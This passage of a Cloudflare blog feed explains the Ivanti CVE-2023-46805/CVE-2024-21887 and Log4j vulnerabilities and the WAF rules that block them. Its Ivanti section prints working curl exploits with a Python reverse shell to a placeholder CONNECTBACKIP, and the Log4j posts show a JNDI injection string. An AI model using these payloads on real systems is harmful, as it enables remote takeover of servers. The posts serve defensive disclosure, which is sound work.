      <h3>The threat: CVE-2023-46805 and CVE-2024-21887</h3>
      <a href="#the-threat-cve-2023-46805-and-cve-2024-21887">
        
      </a>
    </div>
    <p>An authentication bypass (<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46805">CVE-2023-46805</a>) and a command injection vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21887">CVE-2024-21887</a>) impacting Ivanti products were recently disclosed and analyzed by <a href="https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis">AttackerKB</a>. This vulnerability poses significant risks which could lead to unauthorized access and control over affected systems. In the following section we are going to discuss how this vulnerability can be exploited.</p>
    <div>
      <h3>Technical analysis</h3>
      <a href="#technical-analysis">
        
      </a>
    </div>
    <p>As discussed in <a href="https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis">AttackerKB</a>, the attacker can send a specially crafted request to the target system using a command like this:</p>
            <pre><code>curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B</code></pre>
            <p>This command targets an endpoint (<b>/license/keys-status/)</b> that is usually protected by authentication. However, the attacker can bypass the authentication by manipulating the URL to include <b>/api/v1/totp/user-backup-code/../../license/keys-status/</b>. This technique is known as <a href="https://owasp.org/www-community/attacks/Path_Traversal">directory traversal</a>.</p><p>The URL-encoded part of the command decodes to a Python reverse shell, which looks like this:</p>
            <pre><code>;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';</code></pre>
            <p>The Python reverse shell is a way for the attacker to gain control over the target system.</p><p>The vulnerability exists in the way the system processes the <b>node_name</b> parameter. If an attacker can control the value of <b>node_name</b>, they can inject commands into the system.</p><p>To elaborate on 'node_name': The 'node_name' parameter is a component of the endpoint /api/v1/license/keys-status/path:node_name. This endpoint is where the issue primarily occurs.</p><p>The attacker can send a GET request to the URI path <b>/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;</b> where CMD is any command they wish to execute. By using a semicolon, they can specify this command in the request. To ensure the command is correctly processed by the system, it must be URL-encoded.</p><p>Another code injection vulnerability was identified, as detailed in the blog post from AttackerKB. This time, it involves an authenticated command injection found in a different part of the system.</p><p>The same Python reverse shell payload used in the first command injection can be employed here, forming a JSON structure to trigger the vulnerability. Since the payload is in JSON, it doesn't need to be URL-encoded:</p>
            <pre><code>{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}</code></pre>
            <p>Although the <b>/api/v1/system/maintenance/archiving/cloud-server-test-connection</b> endpoint requires authentication, an attacker can bypass this by chaining it with the previously mentioned directory traversal vulnerability. They can construct an unauthenticated URI path <b>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection</b> to reach this endpoint and exploit the vulnerability.</p><p>To execute an unauthenticated operating system command, an attacker would use a curl request like this:</p>
            <pre><code>curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'</code></pre>
            
    <div>
      <h3>Cloudflare's proactive defense</h3>
      <a href="#cloudflares-proactive-defense">
        
      </a>
    </div>
    <p>Cloudflare WAF is supported by an additional AI-powered layer called <a href="/stop-attacks-before-they-are-known-making-the-cloudflare-waf-smarter/">WAF Attack Score</a>, which is built for the purpose of catching attack bypasses before they are even announced. Attack Score provides a score to indicate if the request is malicious or not; focusing on three main categories until now: XSS, SQLi, and some RCE variations (Command Injection, ApacheLog4J, etc.). The score ranges from 1 to 99 and the lower the score the more malicious the request is. Generally speaking, any request with a score below 20 is considered malicious.</p><p>Looking at the results of the exploitation example above of CVE-2023-46805 and CVE-2024-21887 using Cloudflare’s dashboard (Security &gt; Events). Attack Score analysis results consist of three individual scores, each labeled to indicate their relevance to a specific attack category. There's also a global score, "WAF Attack Score", which considers the combined impact of these three scores. In some cases, the global score is affected by one of the sub-scores if the attack matches a category, here we can see the dominant sub-score is Remote Code Execution “WAF RCE Attack Score”.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/qkPQsiNBaL4HSooddJ7Mv/8e308dc48932a8ea859414bd664bbab3/image2-2.png" />
            
            </figure><p>Similarly, for the unauthenticated operating system command request, we received “WAF Attack Score: 19” from the AI model which also lies under the malicious request category. Worth mentioning the example scores are not fixed numbers and may vary based on the incoming attack variation.</p><p>The great news here is: customers on Enterprise and Business plans with WAF attack score enabled, along with a rule to block low scores (e.g. <code>[cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20</code>) or (<code>[cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq</code> "<code>attack</code>") for Business, were already shielded from potential vulnerability exploits that were tested so far even before the vulnerability was announced.</p>
    <div>
      <h3>Emergency rule deployment</h3>
      <a href="#emergency-rule-deployment">
        
      </a>
    </div>
    <p>In response to this critical vulnerability, Cloudflare <a href="https://developers.cloudflare.com/waf/change-log/2024-01-17---emergency-release/">released Emergency Rules on January 17, 2024</a>, Within 24 hours after the proof of concept went public. These rules are part of its Managed Rules for the WAF, specifically targeting the threats posed by CVE-2023-46805 and an additional vulnerability, CVE-2024-21887, also related to Ivanti products. The rules, named "Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887," are developed to block attempts to exploit these vulnerabilities, providing an extra layer of security for Cloudflare users.</p><p>Since we deployed these rules, we have recorded a high level of activity. At the time of writing, the rule was triggered more than 180,000 times.</p>
<table>
<thead>
  <tr>
    <th><span>Rule ID</span></th>
    <th><span>Description</span></th>
    <th><span>Default Action</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>New Managed Rule…34ab53c5</span></td>
    <td><span>Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887</span></td>
    <td><span>Block</span></td>
  </tr>
  <tr>
    <td><span>Legacy Managed Rule</span><br /><span>100622</span><br /></td>
    <td><span>Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887</span></td>
    <td><span>Block</span></td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Implications and best practices</h3>
      <a href="#implications-and-best-practices">
        
      </a>
    </div>
    <p>Cloudflare's response to CVE-2023-46805 and CVE-2024-21887 underscores the importance of having robust security measures in place. Organizations using Cloudflare services, particularly the WAF, are advised to ensure that their systems are updated with the latest rules and configurations to maintain optimal protection. We also recommend customers to deploy rules using Attack Score to improve their security posture. If you want to learn more about Attack Score, contact your account team.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Cloudflare's proactive approach to cybersecurity using AI to identify and stop attacks, exemplified by its response to CVE-2023-46805 and CVE-2024-21887, highlights how threats and attacks can be identified before they are made public and vulnerabilities disclosed. By continuously monitoring and rapidly responding to vulnerabilities, Cloudflare ensures that its clients remain secure in an increasingly complex digital landscape.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Attack Score]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[AI WAF]]></category>
            <guid isPermaLink="false">4HVUjfTR7K6M1rk2RCgVkA</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Radwa Radwan</dc:creator>
            <dc:creator>Vaibhav Singhal</dc:creator>
        </item>
        <item>
            <title><![CDATA[Protection against CVE-2021-45046, the additional Log4j RCE vulnerability]]></title>
            <link>https://blog.cloudflare.com/protection-against-cve-2021-45046-the-additional-log4j-rce-vulnerability/</link>
            <pubDate>Wed, 15 Dec 2021 13:56:13 GMT</pubDate>
            <description><![CDATA[ This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible. Latest version is available on the Log4J download page. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-45046">CVE-2021-45046</a>. The rules that we <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">previously released for CVE-2021-44228</a> give the same level of protection for this new CVE.</p><p>This vulnerability is actively being exploited and anyone using Log4J should update to version <b>2.16.0</b> as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the <a href="https://logging.apache.org/log4j/2.x/download.html">Log4J download page</a>.</p><p>Customers using the Cloudflare WAF have three rules to help mitigate any exploit attempts:</p><table><tr><td><p><b>Rule ID</b></p></td><td><p><b>Description</b></p></td><td><p><b>Default Action</b></p></td></tr><tr><td><p><code>100514 </code>(legacy WAF)
<code>6b1cc72dff9746469d4695a474430f12</code>(new WAF)</p></td><td><p>Log4J Headers</p></td><td><p><code>BLOCK</code></p></td></tr><tr><td><p><code>100515 </code>(legacy WAF)
<code>0c054d4e4dd5455c9ff8f01efe5abb10 </code>(new WAF)</p></td><td><p>Log4J Body</p></td><td><p><code>BLOCK</code></p></td></tr><tr><td><p><code>100516 </code>(legacy WAF)
<code>5f6744fa026a4638bda5b3d7d5e015dd </code>(new WAF)</p></td><td><p>Log4J URL</p></td><td><p><code>BLOCK</code></p></td></tr></table><p>The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.</p><p>In addition to the above rules we have also released a fourth rule that will protect against a much wider range of attacks at the cost of a higher false positive rate. For that reason we have made it available but not set it to <code>BLOCK</code> by default:</p><table><tr><td><p><b>Rule ID</b></p></td><td><p><b>Description</b></p></td><td><p><b>Default Action</b></p></td></tr><tr><td><p><code>100517 </code>(legacy WAF)
<code>2c5413e155db4365befe0df160ba67d7 </code>(new WAF)</p></td><td><p>Log4J Advanced URI, Headers</p></td><td><p><code>DISABLED</code></p></td></tr></table>
    <div>
      <h3>Who is affected</h3>
      <a href="#who-is-affected">
        
      </a>
    </div>
    <p>Log4J is a powerful Java-based logging library maintained by the Apache Software Foundation.</p><p>In all Log4J versions &gt;= 2.0-beta9 and ← 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution</a>. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.</p><p>In addition, the previous mitigations for CVE-2021-22448 as seen in version 2.15.0 were not adequate to protect against CVE-2021-45046.</p> ]]></content:encoded>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">6pspqKqlsP5qiWZ0SPJahl</guid>
            <dc:creator>Gabriel Gabor</dc:creator>
            <dc:creator>Andre Bluehs</dc:creator>
        </item>
        <item>
            <title><![CDATA[Inside the Log4j2 vulnerability (CVE-2021-44228)]]></title>
            <link>https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/</link>
            <pubDate>Fri, 10 Dec 2021 18:36:10 GMT</pubDate>
            <description><![CDATA[ In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. We will update later with actual attempted exploitation we are seeing blocked by our firewall service. ]]></description>
            <content:encoded><![CDATA[ <p><i>In previous versions of this blog post slightly different mitigation techniques were recommended. The Apache Log4j project has updated their official guidance and we have updated this blog post in line with their recommendations</i></p><p>Yesterday, December 9, 2021, a very serious vulnerability in the popular Java-based logging package <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">Log4j</a> was disclosed. This vulnerability allows an attacker to execute code on a remote server; a so-called <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">Remote Code Execution (RCE)</a>. Because of the widespread use of Java and Log4j this is likely one of the most serious vulnerabilities on the Internet since both <a href="/tag/heartbleed/">Heartbleed</a> and <a href="/inside-shellshock/">ShellShock</a>.</p><p>It is <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a> and affects version 2 of Log4j between versions 2.0-beta-9 and 2.14.1. It is patched in 2.16.0.</p><p>In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. <a href="/actual-cve-2021-44228-payloads-captured-in-the-wild/">Details of actual attempted exploitation</a> we are seeing blocked by our firewall service are in a separate blog post.</p><p>Cloudflare uses some Java-based software and our teams worked to ensure that our systems were not vulnerable or that this vulnerability was mitigated. In parallel, we rolled out firewall rules to protect our customers.</p><p>But, if you work for a company that is using Java-based software that uses Log4j you should immediately read the section on how to mitigate and protect your systems before reading the rest.</p>
    <div>
      <h3>How to Mitigate CVE-2021-44228</h3>
      <a href="#how-to-mitigate-cve-2021-44228">
        
      </a>
    </div>
    <p>Implement one of the following mitigation techniques:  Java 8 (or later) users should upgrade to release 2.16.0. Java 7 users should upgrade to release 2.12.2.</p><p>Otherwise, in any release other than 2.16.0, you may remove the <code>JndiLookup</code> class from the <code>classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</code></p>
    <div>
      <h3>Vulnerability History</h3>
      <a href="#vulnerability-history">
        
      </a>
    </div>
    <p>In 2013, in <a href="https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9">version 2.0-beta9</a>, the Log4j package added the “JNDILookup plugin” in issue <a href="https://issues.apache.org/jira/browse/LOG4J2-313">LOG4J2-313</a>. To understand how that change creates a problem, it’s necessary to understand a little about <a href="https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface">JNDI</a>: Java Naming and Directory Interface.</p><p>JNDI has been present in Java since the late 1990s. It is a directory service that allows a Java program to find data (in the form of a Java object) through a directory. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.</p><p>For example, SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP. LDAP is a very popular directory service (the Lightweight Directory Access Protocol) and is the primary focus of CVE-2021-44228 (although other SPIs could potentially also be used).</p><p>A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation there’s an <a href="https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html">example</a> that talks to an LDAP server to retrieve attributes from an object. It uses the URL <code>ldap://localhost:389/o=JNDITutorial</code> to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.</p><p>As the tutorial says “<i>If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL</i>”. Thus the LDAP server could be running on a different machine and potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.</p><p>That’s the basics of JNDI and LDAP; a useful part of the Java ecosystem.</p><p>But in the case of Log4j an attacker can control the LDAP URL by causing Log4j to try to write a string like <code>${jndi:ldap://example.com/a}</code>. If that happens then Log4j will connect to the LDAP server at example.com and retrieve the object.</p><p>This happens because Log4j contains <a href="https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution">special syntax</a> in the form <code>${prefix:name}</code> where <code>prefix</code> is one of a number of different <a href="https://logging.apache.org/log4j/2.x/manual/lookups.html">Lookups</a> where <code>name</code> should be evaluated. For example, <code>${java:version}</code> is the current running version of Java.</p><p><a href="https://issues.apache.org/jira/browse/LOG4J2-313">LOG4J2-313</a> added a <code>jndi</code> Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.”</p><p>With a : present in the key, as in <code>${jndi:ldap://example.com/a}</code> there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.</p><p>So all an attacker has to do is find some input that gets logged and add something like  <code>${jndi:ldap://example.com/a}</code>. This could be a common HTTP header like <code>User-Agent</code> (that commonly gets logged) or perhaps a form parameter like <code>username</code> that might also be logged.</p><p>This is likely very common in Java-based Internet facing software that uses Log4j. More insidious is that non-Internet facing software that uses Java can also be exploitable as data gets passed from system to system.</p><p>For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses Log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4gTLQSjXHxMPpuJw2IHAEj/585931b99b1c1afcab6490c8b96f7161/Exploit-activated.png" />
            
            </figure><p>Or imagine a Java-based billing system that logs when the customer's first name is not found. A malicious user might create an order with a first name that contains the exploit, and it might take multiple hops (and a lot of time) to make it from the web server, via a customer database and into the billing system where it finally executes.</p><p>And Java is used for many more systems than just those that are Internet facing. For example, it’s not hard to imagine a package handling system that scans QR codes on boxes, or a contactless door key both being vulnerable if they are written in Java and use Log4j. In one case a carefully crafted QR code might contain a postal address containing the exploit string; in the other a carefully programmed door key could contain the exploit and be logged by a system that keeps track of entries and exits.</p><p>And systems that do periodic work might pick up the exploit and log it later. So the exploit could lay dormant until some indexing, roll-up, or archive process written in Java inadvertently logs the bad string. Hours or even days later.</p>
    <div>
      <h3>Cloudflare Firewall Protection</h3>
      <a href="#cloudflare-firewall-protection">
        
      </a>
    </div>
    <p>Cloudflare rolled out protection for our customers using our <a href="https://www.cloudflare.com/waf/">Firewall</a> in the form of rules that block the <code>jndi</code> Lookup in common locations in an HTTP request. This is detailed <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">here</a>. We have continued to refine these rules as attackers have modified their exploits and will continue to do so.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">1dBMPk1AehQd2mlDZo2yOF</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2021-44228 - Log4j RCE 0-day mitigation]]></title>
            <link>https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/</link>
            <pubDate>Fri, 10 Dec 2021 11:39:08 GMT</pubDate>
            <description><![CDATA[ A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021, that results in remote code execution (RCE). ]]></description>
            <content:encoded><![CDATA[ <p></p><p><i>Update: all three WAF rules have now been configured with a default action of </i><code><i>BLOCK</i></code><i>.</i></p><p>A zero-day exploit affecting the popular <a href="https://logging.apache.org/log4j/2.x/index.html">Apache Log4j utility</a> (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a>) was made public on December 9, 2021, that results in <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution (RCE)</a>.</p><p>This vulnerability is actively being exploited and anyone using Log4j should update to version 2.15.0 as soon as possible. The latest version can already be found on the <a href="https://logging.apache.org/log4j/2.x/download.html">Log4j download page</a>.</p><p>If updating to the latest version is not possible the vulnerability can be mitigated by removing the JndiLookup class from the class path. Additionally, the issue can be mitigated on Log4j versions &gt;=2.10 by setting the system property <code>log4j2.formatMsgNoLookups</code> or the <code>LOG4J_FORMAT_MSG_NO_LOOKUPS</code> environment variable to <code>true</code>.</p><p>Customers using the Cloudflare WAF can also leverage three newly deployed rules to help mitigate any exploit attempts:</p><table><tr><td><p><b>Rule ID</b></p></td><td><p><b>Description</b></p></td><td><p><b>Default Action</b></p></td></tr><tr><td><p><code>100514 </code>(legacy WAF)
<code>6b1cc72dff9746469d4695a474430f12 </code>(new WAF)</p></td><td><p>Log4j Headers</p></td><td><p><code>BLOCK</code></p></td></tr><tr><td><p><code>100515 </code>(legacy WAF)
<code>0c054d4e4dd5455c9ff8f01efe5abb10 </code>(new WAF)</p></td><td><p>Log4j Body</p></td><td><p><code>BLOCK</code></p></td></tr><tr><td><p><code>100516 </code>(legacy WAF)
<code>5f6744fa026a4638bda5b3d7d5e015dd </code>(new WAF)</p></td><td><p>Log4j URL</p></td><td><p><code>BLOCK</code></p></td></tr></table><p>The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.</p><p>We are continuing to monitor the situation and will update any WAF managed rules accordingly.</p><p>More details on the vulnerability can be found on the official <a href="https://logging.apache.org/log4j/2.x/security.html">Log4j security page</a>.</p>
    <div>
      <h3>Who is affected</h3>
      <a href="#who-is-affected">
        
      </a>
    </div>
    <p>Log4j is a powerful Java based logging library maintained by the Apache Software Foundation.</p><p>In all Log4j versions &gt;= 2.0-beta9 and ← 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform remote code execution. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">UBMongwawwkY03LMVbocf</guid>
            <dc:creator>Gabriel Gabor</dc:creator>
            <dc:creator>Andre Bluehs</dc:creator>
        </item>
        <item>
            <title><![CDATA[Get notified when your site is under attack]]></title>
            <link>https://blog.cloudflare.com/get-notified-when-your-site-is-under-attack/</link>
            <pubDate>Fri, 03 Dec 2021 13:59:21 GMT</pubDate>
            <description><![CDATA[ Cloudflare can now send proactive notifications about any application security event spike, so you are warned whenever an attack might be targeting your application. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Our core application security features such as the <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF</a>, firewall rules and rate limiting help keep millions of Internet properties safe. They all do so quietly without generating any notifications when attack traffic is blocked, as our focus has always been to stop malicious requests first and foremost.</p><p>Today, we are happy to announce a big step in that direction. Business and Enterprise customers can now set up proactive alerts whenever we observe a spike in firewall related events indicating a likely ongoing attack.</p><p>Alerts can be configured via email, PagerDuty or webhooks, allowing for flexible integrations across many systems.</p><p>You can find and set up the new alert types <a href="https://developers.cloudflare.com/fundamentals/notifications">under the notifications tab in your Cloudflare account</a>.</p>
    <div>
      <h2>What Notifications are available?</h2>
      <a href="#what-notifications-are-available">
        
      </a>
    </div>
    <p>Two new notification types have been added to the platform.</p>
    <div>
      <h3>Security Events Alert</h3>
      <a href="#security-events-alert">
        
      </a>
    </div>
    <p>This notification can be set up on Business and Enterprise zones, and will alert on any spike of firewall related events across all products and services. You will receive the alert within two hours of the attack being mitigated.</p>
    <div>
      <h3>Advanced Security Events Alert</h3>
      <a href="#advanced-security-events-alert">
        
      </a>
    </div>
    <p>This notification can be set up on Enterprise zones only. It allows you to filter on the exact security service you are interested in monitoring and different notifications can be set up for different services as necessary. The alert will fire within five minutes of the attack being mitigated.</p>
    <div>
      <h2>Alerting on Application Security Anomalies</h2>
      <a href="#alerting-on-application-security-anomalies">
        
      </a>
    </div>
    <p>We’ve <a href="/smarter-origin-service-level-monitoring/">previously blogged</a> about how accurately calculating anomalies in time series data sets is hard. Simple threshold alerting — “notify me if there are more than X events” — doesn’t work well. It takes a lot of work to tune the specific thresholds to be accurate, and even then you’re still likely to end up with false positives or missed events.</p><p>For Origin Error Rate notifications, we leaned on the methodology outlined in the <a href="https://sre.google/workbook/alerting-on-slos/">Google SRE Handbook</a> for alerting based on Service Level Objectives (SLOs). However, SLO alerting assumes that there is an established baseline. We know exactly what percentage of responses from your origin are “allowed” to be errors before something is definitely wrong. We don’t know what that percentage is for Firewall events. For example, Internet properties with many Firewall rules are more likely to have more Firewall events than Internet properties with few Firewall rules.</p><p>Instead of using SLO based alerting for Security Event notifications, we’re using <a href="https://en.wikipedia.org/wiki/Standard_score">Z-score calculations</a>. The z-score methodology calculates how many standard deviations away from the mean a certain data point is. For Security Event notifications we can take the mean number of Firewall events for each distinct Internet property as the effective “baseline”, and compare the current number of Firewall events to see if there is a significant spike.</p><p>In this first iteration, a z-score threshold of 3.5 has been configured in the system and will be adjusted based on customer feedback. You can read more about the system in our <a href="https://developers.cloudflare.com/waf/alerts">WAF developer docs</a>.</p>
    <div>
      <h2>Getting started with Application Security Event notifications</h2>
      <a href="#getting-started-with-application-security-event-notifications">
        
      </a>
    </div>
    <p>To configure these notifications, navigate to the Notifications tab of the dashboard and click “Add”. Select <b>Security Events Alert</b> or <b>Advanced Security Events Alert.</b></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2RdUuk0JL1EebBfHRRwxBZ/3e8e40d3409c5040eb5d31c7e263aa3e/image4-1.png" />
            
            </figure><p>As with all Cloudflare notifications, you’re able to name and describe your notification, and choose how you want to be notified. From there, you can select which domains you want to monitor.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/WJEHsoYxwlOQdxseJ1iFW/626f9432c5fa9d8b1a4207b11c992d07/image1-8.png" />
            
            </figure><p>For Advanced Security Event notifications, you can also select which services the notification should monitor. The log value in <a href="https://developers.cloudflare.com/logs/reference/log-fields/zone/firewall_events">Firewall Event logs</a> for each relevant service is also displayed in the event you are integrating directly with Cloudflare logs and wish to filter relevant events in your existing SIEMs.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3usixXOJnfPWbcm9nbkrIk/ddba546ccf5b64b9d0d67553d787038c/image3.png" />
            
            </figure><p>Once the notifications have been set up, you can rely on Cloudflare to warn you whenever an anomaly is detected. An example email notification is shown below:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6FxFDHYOH8MZS9jOxcZcBq/9993510099f8f67a2ed6ea9a83d2107c/image5.png" />
            
            </figure><p>The alert provides details on the service detecting the events (in this case the WAF), the timestamp and the affected zone. A link is provided that will direct you to the Firewall Events dashboard filtered on the correct service and time range.</p>
    <div>
      <h2>The first of many alerts!</h2>
      <a href="#the-first-of-many-alerts">
        
      </a>
    </div>
    <p>We are looking forward to customers setting up their notifications, so they can stay on top of any malicious activity affecting their applications.</p><p>This is just the first step of many towards building a much more comprehensive suite of notifications and incident management systems directly embedded in the Cloudflare dashboard. We look forward to posting feature improvements to our application security alert system in the near future.</p> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Notifications]]></category>
            <guid isPermaLink="false">7EWowD9MzHYrt8KvKzLEn7</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Natasha Wissmann</dc:creator>
        </item>
        <item>
            <title><![CDATA[Helping Apache Servers stay safe from zero-day path traversal attacks (CVE-2021-41773)]]></title>
            <link>https://blog.cloudflare.com/helping-apache-servers-stay-safe-from-zero-day-path-traversal-attacks/</link>
            <pubDate>Fri, 08 Oct 2021 10:29:26 GMT</pubDate>
            <description><![CDATA[ On September 29th 2021, the Apache Security team was alerted of a path traversal vulnerability being actively exploited (zero-day) against Apache HTTP Server version 2.4.49. Customers running the affected Apache version, should update to 2.5.51 as soon as possible. ]]></description>
            <content:encoded><![CDATA[ <p></p><p><i>Update: This blog post was edited on Monday 11th of October 2021 — added additional WAF rule ID</i></p><p>On September 29, 2021, the Apache Security team was alerted to a path traversal vulnerability being actively exploited (zero-day) against Apache HTTP Server version 2.4.49. The vulnerability, in some instances, can allow an attacker to fully compromise the web server via remote code execution (RCE) or at the very least access sensitive files. CVE number <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773">2021-41773</a> has been assigned to this issue. Both Linux and Windows based servers are vulnerable.</p><p>An initial patch was made available on October 4 with an update to 2.4.50, however, this was found to be insufficient resulting in an additional patch bumping the version number to 2.4.51 on October 7th (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013">CVE-2021-42013</a>).</p><p>Customers using Apache HTTP Server versions 2.4.49 and 2.4.50 should immediately update to version 2.4.51 to mitigate the vulnerability. Details on how to update can be found on the <a href="https://httpd.apache.org/security/vulnerabilities_24.html">official Apache HTTP Server project site</a>.</p><p>Any Cloudflare customer with the setting <a href="https://developers.cloudflare.com/rules/normalization/manage">normalize URLs to origin</a> turned on have always been protected against this vulnerability.</p><p>Additionally, customers who have access to the <a 